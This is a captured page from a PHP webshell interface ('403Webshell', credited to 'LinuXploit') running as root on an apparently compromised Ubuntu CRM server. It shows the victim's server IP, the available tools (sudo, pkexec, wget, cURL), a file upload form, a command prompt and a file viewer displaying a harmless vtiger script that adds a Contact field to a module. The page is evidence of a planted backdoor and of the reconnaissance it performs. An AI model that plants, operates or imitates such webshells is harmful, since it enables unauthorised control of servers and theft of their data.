403Webshell
Server IP : 138.197.176.125  /  Your IP : 216.73.217.122
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux SuiteCRM-8 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/crm_easylife/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/crm_easylife/add_contactfield_to_my_module.php
<?php
 
 include_once 'vtlib/Vtiger/Module.php';
      $servicesModule = Vtiger_Module::getInstance('ModuleName');
      $blockInstance = new Vtiger_Block();
      $blockInstance->label = 'Additional Fields';
      $servicesModule->addBlock($blockInstance);
      $field = new Vtiger_Field();
      $field->name = 'Contact';
      $field->label = 'Contact';
      $field->table = 'vtiger_ModuleName';
      $field->column = 'contact_id';
      $field->columntype = 'VARCHAR(100)';
      $field->uitype = 10;
      $field->typeofdata = 'V~O';
      $field->helpinfo = 'Related to an existing contact';
      $blockInstance->addField($field);
      $field->setRelatedModules(array('Contacts'));
echo "DONE";
?>


Youez - 2016 - github.com/yon3zu
LinuXploit